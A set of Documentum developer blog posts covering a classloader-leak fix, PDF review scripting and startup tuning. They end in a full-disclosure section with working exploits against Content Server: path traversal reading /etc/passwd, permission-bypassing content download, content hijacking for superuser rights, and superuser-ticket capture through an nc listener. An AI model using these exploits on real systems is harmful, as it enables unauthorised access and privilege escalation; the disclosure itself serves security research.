Classloader leak because of DFC

Nothing to add to Being without dfc.properties, just a solution:

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.AccessControlContext;
import java.security.Policy;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;

import org.springframework.util.ReflectionUtils;

import com.documentum.fc.common.DfLogger;
/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
@SuppressWarnings("PMD")
public class DfcCleanupListener implements ServletContextListener {

    public DfcCleanupListener() {
        super();
    }

    @Override
    public void contextInitialized(ServletContextEvent servletContextEvent) {
        // do nothing
    }

    @Override
    public void contextDestroyed(ServletContextEvent servletContextEvent) {
        launchHooks();
        cleanupThreads();
        cleanupSecurityPolicy();
        cleanupLog4j();
    }

    private void cleanupLog4j() {
        Object loggers = getValue("s_loggers", DfLogger.class);
        if (loggers != null) {
            loggers = getValue("m_loggersMap", loggers);
        }
        Object prefixes = getValue("s_prefixes", DfLogger.class);
        Object counters = getValue("s_muteCounter", DfLogger.class);
        for (Thread thread : Thread.getAllStackTraces().keySet()) {
            Object threadLocals = getValue("threadLocals", thread);
            if (threadLocals == null) {
                continue;
            }
            if (loggers != null) {
                invoke("remove", threadLocals, loggers);
            }
            if (prefixes != null) {
                invoke("remove", threadLocals, prefixes);
            }
            if (counters != null) {
                invoke("remove", threadLocals, counters);
            }
        }
    }

    private void cleanupSecurityPolicy() {
        Policy.setPolicy(null);
    }

    @SuppressWarnings("unchecked")
    private void launchHooks() {
        try {
            Class clazz = Class.forName("java.lang.ApplicationShutdownHooks");
            Object hooks = getValue("hooks", clazz);
            if (hooks == null) {
                return;
            }
            List<Thread> threads = new ArrayList<Thread>();
            for (Thread thread : ((Map<Thread, Thread>) hooks).keySet()) {
                if (isInSameClassLoader(thread, getClass().getClassLoader())) {
                    threads.add(thread);
                }
            }
            for (Thread thread : threads) {
                Runtime.getRuntime().removeShutdownHook(thread);
            }
            for (Thread hook : threads) {
                hook.start();
            }
            for (Thread hook : threads) {
                try {
                    hook.join();
                } catch (InterruptedException ex) {
                    Logger.error(ex.getMessage(), ex);
                }
            }
        } catch (ClassNotFoundException ex) {
            Logger.error(ex.getMessage(), ex);
        }
    }

    private void cleanupThreads() {
        for (Thread thread : getThreadsWithSameClassLoader(getClass()
                .getClassLoader())) {
            Logger.error("Stopping thread {0}", null, thread.getName());
            stopThread(thread);
        }
    }

    private void stopThread(Thread thread) {
        if ("java.util.TimerThread".equals(thread.getClass().getName())) {
            cancelTimerThread(thread);
        }
        if (thread.isAlive()) {
            thread.interrupt();
        }
    }

    private void cancelTimerThread(Thread thread) {
        Object queue = getValue("queue", thread);
        if (queue == null) {
            return;
        }
        synchronized (queue) {
            setField("newTasksMayBeScheduled", thread, false);
            invoke("clear", queue);
            invoke("notify", queue);
        }
    }

    private static <T> T invoke(String method, Object object, Object... args) {
        try {
            if (object == null) {
                return null;
            }
            Method mtd = ReflectionUtils.findMethod(object.getClass(), method);
            if (mtd == null) {
                return null;
            }
            return invoke(mtd, object, args);
        } catch (InvocationTargetException | IllegalAccessException e) {
            Logger.error(e.getMessage(), e);
        }
        return null;
    }

    @SuppressWarnings("unchecked")
    private static <T> T invoke(Method method, Object object, Object... args)
        throws IllegalAccessException, InvocationTargetException {
        ReflectionUtils.makeAccessible(method);
        return (T) method.invoke(object, args);
    }

    private static void setField(String field, Object object, Object value) {
        try {
            if (object == null) {
                return;
            }
            Field fld = ReflectionUtils.findField(object.getClass(), field);
            if (fld == null) {
                return;
            }
            setField(fld, object, value);
        } catch (InvocationTargetException | IllegalAccessException e) {
            Logger.error(e.getMessage(), e);
        }
    }

    private static void setField(Field field, Object object, Object value)
        throws IllegalAccessException, InvocationTargetException {
        ReflectionUtils.makeAccessible(field);
        field.set(object, value);
    }

    private static Object getValue(String field, Object object) {
        try {
            if (object == null) {
                return null;
            }
            Field fld = ReflectionUtils.findField(object.getClass(), field);
            if (fld == null) {
                return null;
            }
            return getValue(fld, object);
        } catch (InvocationTargetException | IllegalAccessException e) {
            Logger.error(e.getMessage(), e);
        }
        return null;
    }

    private static Object getValue(String field, Class clazz) {
        try {
            if (clazz == null) {
                return null;
            }
            Field fld = ReflectionUtils.findField(clazz, field);
            if (fld == null) {
                return null;
            }
            return getValue(fld, null);
        } catch (InvocationTargetException | IllegalAccessException e) {
            Logger.error(e.getMessage(), e);
        }
        return null;
    }

    private static Object getValue(Field field, Object object)
        throws IllegalAccessException, InvocationTargetException {
        ReflectionUtils.makeAccessible(field);
        return field.get(object);
    }

    public static List<Thread> getThreadsWithSameClassLoader(
            ClassLoader classLoader) {
        List<Thread> result = new ArrayList<Thread>();
        for (Thread thread : Thread.getAllStackTraces().keySet()) {
            if (isInSameClassLoader(thread, classLoader)) {
                result.add(thread);
            }
        }
        return result;
    }

    private static boolean isInSameClassLoader(Thread thread,
            ClassLoader classLoader) {
        if (classLoader == null) {
            return false;
        }
        Object inheritedAccessControlContext = getValue(
                "inheritedAccessControlContext", thread);
        if (!(inheritedAccessControlContext instanceof AccessControlContext)) {
            return false;
        }
        Object contexts = getValue("context", inheritedAccessControlContext);
        if (!(contexts instanceof ProtectionDomain[])) {
            return false;
        }
        for (ProtectionDomain domain : (ProtectionDomain[]) contexts) {
            if (domain == null) {
                continue;
            }
            if (classLoader.equals(domain.getClassLoader())) {
                return true;
            }
        }
        return false;
    }

}

Mastering PDF annotations

About a month ago I was asked about possible solution for the following case:

  1. customer has EDMS based on EMC Documentum
  2. after certain lifecycle state documents become readonly (that means that documentcontent gets signed and not supposed to be changed anymore)
  3. despite of readonlyness users want to be able to put some comments into content
  4. customer is potentially ready to convert all content into pdf

You may say that PDF annotations is an option for me. Bullshit! I have checked a couple of implementations and found that all implementations are unsuitable for me, primary reasons are:

  1. some of implementations require read-write access to content (actually there is a workaround with extracting PDF annotations upon upload, but this looks very ugly)
  2. some of implementations are nailed down to specific application and, moreover, are intended to work only through browser, which is very inconvenient – this stupid concept perfectly demonstrated in EMC presentation – user’s monitor is capable to display two A4 pages simultaneously but UI is able to display only 1/3 of the page: – worst UI ever

So, I started to study vendor’s (i.e. Adobe) documentation and have found a possible solution: Acrobatยฎ Online Collaboration: Setup and Administration. Unfortunately, Adobe’s document does not state clearly what is required to inject into pdf to make it “onlinereview-capable”, but after some debugging I have found following solution based on iText library:

String id = "randomId";
String baseUrl = "http://docu70dev01/annotations";
Date date = new Date();
StringBuilder javaScript = new StringBuilder();
javaScript.append("(function () {");
javaScript
        .append("if (app.viewerVersion >= 8 && (!app.viewerType.match(/Reader/) || ");
javaScript
        .append("requestPermission(permission.annot, permission.create) == permission.granted)) {");
javaScript.append("var msg = {").append("doc: this,");
javaScript.append("initiator: (new String(\"\")),");
javaScript.append("id: (new String(\"").append(id).append("\")),");
javaScript.append("source: (new String(\"").append(baseUrl).append("/")
        .append(id).append("/\")),");
javaScript
        .append("driver: (new String(\"urn://ns.adobe.com/Collaboration/SharedReview/WebDAV\")),");
javaScript.append("invitees: (new String(\"\")),");
javaScript.append("sentDate: (new Date(").append(date.getTime() / 1000)
        .append(")),");
javaScript.append("deadDate: (new Boolean(false)),");
javaScript.append("requireSave: (new Boolean(false)),");
javaScript.append("cc: (new String(\"\")),");
javaScript.append("distributionMethod: (new String(\"MANUAL\")),");
javaScript.append("versionInfo: (new Number(11)),");
javaScript.append("accessLevel: (new Number(0))");
javaScript.append("};");
javaScript.append("Collab.registerReview(msg);");
javaScript.append("}");
javaScript.append("})()");
String file = "G:\\Users\\andrey\\Documents\\test.pdf";
PdfReader reader = new PdfReader(file);
PdfStamper stamper = new PdfStamper(reader, new FileOutputStream(
        "G:\\Users\\andrey\\Documents\\test_review.pdf"));
stamper.addJavaScript(javaScript.toString());
stamper.close();
reader.close();

And after that Acrobat Reader gets cool functionality:

All what I need now is implement WebDav-server ๐Ÿ™‚

SSL fun

Yesterday I was trying to debug some SSL-connection issues from browser side, and I had found a nice firefox plugin that displays a lot of usefull information: calomel. My issues have gone away, but plugin remains installed, and sometimes this plugin displays very interesting information, for example, below is an information about SSL-connection to site, which does not sell security-related stuff:

and this one is a facade of company which pretends to have security expertise:

๐Ÿ™‚

Q & A. VI

It seems that Jens decided to take pity on myself after dmcl-applications startup time post and suggested following:

Hi Andrey,

I am working for fme in Brunswick (Germany) and one of my colleagues has created the tool DQMan. It is free to use and it helps me in my daily job to get Documentum things done faster.

It is up to you to try it:
http://www.fme-us.com/technologies/ecm/emc-documentum/dqman/

And thank you for your really cool blogs posts here.

Thanks,
Jens

Jens, thanks for suggestion ๐Ÿ™‚

At first, I managed to cut iapi startup time to 2.8s:

 ~]$ time iapi -X -Sapi </dev/null
Running with non-standard init level: api
API> Bye

real    0m2.819s
user    0m2.593s
sys     0m0.116s

All that was required is remove dumb RSA security providers:

--- java.security.emc   2015-05-07 05:34:38.593021383 +0300
+++ java.security       2015-05-08 21:30:07.008428097 +0300
@@ -43,17 +43,15 @@
 #
 # List of providers and their preference orders (see above):
 #
-security.provider.1=sun.security.rsa.SunRsaSign
-security.provider.2=com.rsa.jsafe.provider.JsafeJCE
-security.provider.3=com.rsa.jsse.JsseProvider
-security.provider.4=sun.security.provider.Sun
-security.provider.5=sun.security.ec.SunEC
-security.provider.6=com.sun.net.ssl.internal.ssl.Provider
-security.provider.7=com.sun.crypto.provider.SunJCE
-security.provider.8=sun.security.jgss.SunProvider
-security.provider.9=com.sun.security.sasl.Provider
-security.provider.10=org.jcp.xml.dsig.internal.dom.XMLDSigRI
-security.provider.11=sun.security.smartcardio.SunPCSC
+security.provider.1=sun.security.provider.Sun
+security.provider.2=sun.security.rsa.SunRsaSign
+security.provider.3=sun.security.ec.SunEC
+security.provider.4=com.sun.net.ssl.internal.ssl.Provider
+security.provider.5=com.sun.crypto.provider.SunJCE
+security.provider.6=sun.security.jgss.SunProvider
+security.provider.7=com.sun.security.sasl.Provider
+security.provider.8=org.jcp.xml.dsig.internal.dom.XMLDSigRI
+security.provider.9=sun.security.smartcardio.SunPCSC

At second, I have taken a look at dqman extended video:

and I would say that DQMan seems to be the only usefula must have tool for Documentum developers and administrators – some of it’s features look really cool, for example generation of API scenario, unfortunately, I’m happy with iapi ๐Ÿ™‚

dmcl-applications startup time

On last week I was trying to setup DEV ENV on VM and have noticed a very odd behavior of iapi/idql/dmawk/dmbasic commands – their start takes about 5(!) seconds:

~$] time iapi -X -Sapi </dev/null
Running with non-standard init level: api
API> Bye

real    0m4.595s
user    0m4.385s
sys     0m0.124s

Does not look like a good startup time for application which does nothing, does it? Actually, you may say that slow start is a common issue of all java applications, but if my memory serves me right, in Documentum 5.3 tomcat (JMS) startup took about 1 second and that was a tomcat – the whole web container, not a console application which does nothing. After some manipulations with boot classpath (see also: https://weblogs.java.net/blog/enicholas/archive/2008/04/java_secrets_re.html, http://docs.oracle.com/javase/7/docs/technotes/guides/vm/class-data-sharing.html, http://www.oracle.com/technetwork/jp/ondemand/java/20110519-java-a-1-greg-400531-ja.pdf and http://hg.openjdk.java.net/jdk6/jdk6/jdk/file/ca2c9f498b70/make/tools/src/build/tools/) I was able to cut iapi startup time down to 1.5 sec:

~]$ time iapi -X -Sapi </dev/null
Running with non-standard init level: api
API> Bye

real    0m1.477s
user    0m1.373s
sys     0m0.077s

Unfortunately, it seems that DFC is not capable to be resided in boot classpath because EMC developers like to use following pattern in DFC:

getClass().getClassLoader().getResourceAsStream(bla-bla-bla)

and this pattern does not work for classes from boot classpath:

    /**
     * Returns the class loader for the class.  Some implementations may use
     * null to represent the bootstrap class loader. This method will return
     * null in such implementations if this class was loaded by the bootstrap
     * class loader.
     *
     * <p> If a security manager is present, and the caller's class loader is
     * not null and the caller's class loader is not the same as or an ancestor of
     * the class loader for the class whose class loader is requested, then
     * this method calls the security manager's <code>checkPermission</code> 
     * method with a <code>RuntimePermission("getClassLoader")</code> 
     * permission to ensure it's ok to access the class loader for the class.
     * 
     * <p>If this object
     * represents a primitive type or void, null is returned.
     *
     * @return  the class loader that loaded the class or interface
     *          represented by this object.
     * @throws SecurityException
     *    if a security manager exists and its 
     *    <code>checkPermission</code> method denies
     *    access to the class loader for the class.
     * @see java.lang.ClassLoader
     * @see SecurityManager#checkPermission
     * @see java.lang.RuntimePermission
     */
    public ClassLoader getClassLoader() {
        ClassLoader cl = getClassLoader0();
        if (cl == null)
            return null;
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            ClassLoader ccl = ClassLoader.getCallerClassLoader();
            if (ccl != null && ccl != cl && !cl.isAncestor(ccl)) {
                sm.checkPermission(SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
        return cl;
    }

New set of Documentum vulnerabilities

It’s hard to say that vulnerabilities, described below, are new, because all of them were discovered more than 6 months ago, but I had no idea what to do with them. On April 2014 I made an experiment aimed to figure out whether responsible disclosure makes sense or not. Now it’s pretty clear that responsible disclosure does not make sense:

  • for the last year I have never been contacted by EMC, so if somebody from EMC will ever say you something like “product security is my most important focus area” – never trust him
  • CERT/CC completely fails in coordinating responsible disclosure – their dumb spreadsheet at current moment is completely wrong (actually, for the last year EMC was able to fix only two or three security issues in Documentum products – I think to publish soon complete review of all existing security issues in Documentum)

Any user may get access to Documentum filesystem through addrendition call

Documentation:

Practice – code below demonstrates how any user may read arbitrary file from content server filesystem:

~]$ perl -e 'print "file_name=\x27" . "/.."x20 . "/etc/passwd\x27\n"' > property.txt
~]$ echo "page_modifier='pdf'" >> property.txt
~]$ echo "parameters=''" >> property.txt
~]$ tar cf property.tar property.txt

~]$ iapi
...
Connected to Documentum Server running Release 7.0.0140.0644  Linux.Oracle
Session id is s0
API> create,c,dm_document
...
0901ffd78041b31f
API> setfile,c,l,property.txt,crtext
...
OK
API> save,c,l
...
OK
API> addrendition,c,l,property.tar,pdf,0,,T,T,,T,
...
OK
API> getpath,c,l,0,pdf
...
/u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf
API> quit
Bye
~]$ head -10 /u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

Content Server does not check user permissions when transferring content

Code below demonstrates how to download content of any dmr_content object:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String argv[]) throws DfException {
        IDfSession session = new DfClientX().getLocalClient().newSession(
                "repo", new DfLoginInfo("tes01", "test01"));
        IDocbaseConnection connection = ((ISession) session)
                .getDocbaseConnection();
        ITypedData arguments = new DynamicallyTypedData();
        // storage_id of dmr_content
        arguments.setId("STORE", new DfId("2801ffd780000100"));
        // r_object id of dmr_content
        arguments.setId("CONTENT", new DfId("0601ffd780098039"));
        // data_ticket of dmr_content
        arguments.setInt("TICKET", -2146992834);
        // format or dmr_content
        arguments.setId("FORMAT", new DfId("2701ffd78000011b"));
        arguments.setBoolean("IS_OTHER", false);
        arguments.setBoolean("IS_OFFLINE", false);
        arguments.setBoolean("COMPRESSION", false);
        // arguments.setBoolean("NO_ACCESS_UPDATE", true);
        arguments.setId("SYSOBJ_ID", new DfId("0901ffd780333167"));

        int handle = connection.applyForInt("MAKE_PULLER", null, arguments,
                true, true, true);
        BooleanHolder holder = new BooleanHolder();
        byte[] b = connection.getBlock(handle, 0, holder);
        System.out.println(new String(b));
        int i = 0;
        while (!holder.value) {
            b = connection.getBlock(handle, ++i, holder);
            System.out.println(new String(b));
        }
        // checking that parent_id or dmr_content is inaccessible 
        session.getObject(new DfId("0901ffd780333167"));
    }
}

result:

 ~]$ javac Test.java
 ~]$ java Test
[DOCBROKER_Docbroker01]
NAME=Docbroker01
VERSION=7.0.0.155
PORT=1489
[DOCBASE_repo]
NAME=repo
VERSION=7.0.0.155
DATABASE_CONN=DCTM

Exception in thread "main" DfIdNotFoundException:: THREAD: main; MSG: [DM_API_E_EXIST]error:  "Document/object specified by 0901ffd780333167 does not exist."; ERRORCODE: 100; NEXT: null
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:204)
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.getData(PersistentDataManager.java:82)
        at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObjectFromServer(PersistentObjectManager.java:355)
        at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObject(PersistentObjectManager.java:311)
        at com.documentum.fc.client.impl.session.Session.getObject(Session.java:964)
        at com.documentum.fc.client.impl.session.SessionHandle.getObject(SessionHandle.java:653)
        at Test.main(Test.java:44)
Caused by: DfException:: THREAD: main; MSG: [DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '0901ffd780333167'."; ERRORCODE: 100; NEXT: null
        at com.documentum.fc.client.impl.docbase.DocbaseExceptionMapper.newException(DocbaseExceptionMapper.java:57)
        at com.documentum.fc.client.impl.connection.docbase.MessageEntry.getException(MessageEntry.java:39)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseMessageManager.getException(DocbaseMessageManager.java:137)
        at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.checkForMessages(NetwiseDocbaseRpcClient.java:310)
        at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.applyForObject(NetwiseDocbaseRpcClient.java:653)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection$8.evaluate(DocbaseConnection.java:1313)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.evaluateRpc(DocbaseConnection.java:1072)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.applyForObject(DocbaseConnection.java:1305)
        at com.documentum.fc.client.impl.docbase.DocbaseApi.parameterizedFetch(DocbaseApi.java:107)
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:191)
        ... 6 more

Content server does not check user permissions when user modifies dmr_content objects

Any user may interchange content between sysobjects and get superuser privileges, example below demonstrates hijacking content of dm_method object:

 ~]$ cat > test.txt
test
 ~]$ iapi
Please enter a docbase name (docubase): repo
Please enter a user (dmadmin): test01
Please enter password for test01:


Connected to Documentum Server running Release 7.0.0140.0644  Linux.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
1001ffd7800003bf
API> get,c,l,object_name
...
dm_Migration
API> get,c,l,i_contents_id
...
0601ffd78000dd70
API> create,c,dm_sysobject
...
0801ffd78039f872
API> setfile,c,l,test.txt,text
...
OK
API> save,c,l
...
OK
API> get,c,l,i_contents_id
...
0601ffd78010a761
API> get,c,0601ffd78010a761,data_ticket
...
-2146583173
API> get,c,0601ffd78010a761,content_size
...
5
API> get,c,0601ffd78010a761,full_content_size
...
5
API> apply,c,0601ffd78000dd70,SAVE_CONT_ATTRS,
        data_ticket,I,-2146583173,
        content_size,I,5,
        full_content_size,I,5,
        OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...
1
API> getfile,c,1001ffd7800003bf
...
process2735553202612613208.tmp/0/0601ffd78000dd70.txt
API> ^Z
[1]+  Stopped                 iapi
 ~]$ cat process2735553202612613208.tmp/0/0601ffd78000dd70.txt
test

Any user may get superuser ticket using FTINDEX_AGENT_ADMIN RPC-command

Connected to Documentum Server running Release 7.0.0100.0603  Linux.Oracle
Session id is s0
API> retrieve,c,dm_ftindex_agent_config
...
0801ffd780001976
API> get,c,l,object_name
...
docu70dev01_9200_IndexAgent
API> get,c,l,index_name
...
ssc_dev_ftindex_01
API> apply,c,,FTINDEX_AGENT_ADMIN,NAME,S,ssc_dev_ftindex_01,
     AGENT_INSTANCE_NAME,S,docu70dev01_9200_IndexAgent,ACTION,S,status
...
q0
API> getmessage,c
...
[DM_FT_INDEX_T_INIT_INDEX_AGENT_MSG]info:  "HTTP_POST with args 
     -command status -docbase ssc_dev 
     -user dm_fulltext_index_user 
     -ticket DM_TICKET=T0JKIE5VTEwgMAoxMwp2Z
     -instance docu70dev01_9200_IndexAgent 
     -details false 

to Index Agent docu70dev01_9200_IndexAgent is successful."

Any user may get superuser ticket through CTSAdminMethod docbase method

nc:

~]$ nc -l 7777

api session:

API> create,c,cts_instance_info
...
0801ffd7800e8e53
API> set,c,l,agent_url
SET> http://host:7777/
...
OK
API> set,c,l,websrv_url
SET> http://host:7777/
...
OK
API> set,c,l,status
SET> 1
...
OK
API> set,c,l,inst_type
SET> 1
...
OK
API> save,c,l
...
OK
API> apply,c,,DO_METHOD,METHOD,S,CTSAdminMethod,ARGUMENTS,S,
     '-docbase repo -userid dmadmin -ticket "" -command PING -instanceid 0801ffd7800e8e53'

nc:

POST / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.6.0_31
Host: host:7777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 756

docbase=repo&ticket=DM_TICKET%3DT0JKIE5VTE....

Information disclosure in search service

In D6.7SP1 EMC introduced new feature, subscriptions to queries:

As expected, this feature is not documented:

Let’s figure out how subscriptions work…

Query subscriptions functionality is implemented by the following jobs:

  1. dm_FTQBS_DAILY
  2. dm_FTQBS_HOURLY
  3. dm_FTQBS_MONTHLY
  4. dm_FTQBS_WEEKLY

Each of those jobs executes following query to get pending subscriptions:

  SELECT rl.parent_id,
         rl.child_id,
         fs.subscriber_name,
         fs.workflow_id,
         fs.last_exec_date,
         fs.r_modify_date,
         fs.result_strategy
    FROM dm_relation rl, dm_ftquery_subscription fs
   WHERE     rl.child_id = fs.r_object_id
         AND rl.relation_name = 'dm_qbs_relation'
         AND fs.frequency = 'HOURLY|DAILY|WEEKLY|MONTHLY'
ORDER BY 5

Now, if user wants to execute search under superuser account he should just create smartlist, relation and corresponding malicious dm_ftquery_subscription object ๐Ÿ™‚